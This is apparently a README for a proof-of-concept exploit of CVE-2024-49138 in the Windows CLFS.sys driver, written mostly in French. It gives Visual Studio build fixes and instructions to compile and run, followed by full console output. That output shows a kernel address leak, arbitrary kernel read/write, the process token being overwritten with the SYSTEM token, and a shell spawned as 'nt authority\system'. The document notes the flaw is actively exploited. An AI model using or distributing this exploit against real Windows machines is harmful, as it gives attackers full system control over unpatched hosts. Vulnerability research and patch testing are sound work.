
Preuve de concept d'exploitation pour CVE-2024-49138 dans Windows CLFS.sys, permettant une élévation de privilèges locale vers un shell système via la manipulation de jetons.
C:\Program Files\Microsoft Visual Studio\2022\Professional\MSBuild\Microsoft\VC\v170\Microsoft.CppBuild.targets(456,5): error MSB8020: The build tools for Visual Studio 2019 (Platform Toolset = 'v142') cannot be found. To build using the v142 build tools, please install Visual Studio 2019 build tools. Alternatively, you may upgrade to the current Visual Studio tools by selecting the Project menu or right-click the solution, and then selecting "Retarget solution".
1. Ouvrez le programme d'installation de Visual Studio :
Accédez au menu Démarrer et ouvrez le programme d'installation de Visual Studio.
2. Modifiez votre installation de Visual Studio :
Sélectionnez Visual Studio 2022 et cliquez sur Modifier.
3. Installez la Toolset requise :
Dans l'onglet Composants individuels, recherchez : MSVC v142 - VS 2019 C++ x64/x86 build tools Sélectionnez-le et cliquez sur Installer.
4. Reconstruisez le projet :
Une fois installé, reconstruisez votre projet dans Visual Studio 2022.
Preuve de concept exploitant CVE-2024-49138 dans CLFS.sys.
CrowdStrike a détecté que la vulnérabilité était activement exploitée par des acteurs malveillants.
Testé sur Windows 11 23h2.
Une analyse approfondie sera fournie dans un article de blog détaillé.
Compilez la version Release x64.
Exécutez et obtenez un shell système.
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
hResource = 0x00007FF7CDB890A0
pResourceData = 0x00007FF7CDB890A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80339800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FFFAF0EFB40
NtWriteVirtualMemory = 0x00007FFFAF0EFAA0
pcclfscontainer = 0x0000000002100000
address_to_write = 0xFFFFC201424CC2B2
Process priority set to REALTIME_PRIORITY_CLASS.
Thread priority set to the highest level: TIME_CRITICAL.
triggering vuln...CreateLogFile failed with error 6601
Process priority set to NORMAL_PRIORITY_CLASS.
Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>whoami
nt authority\system
C:\Users\IEUser\Desktop>
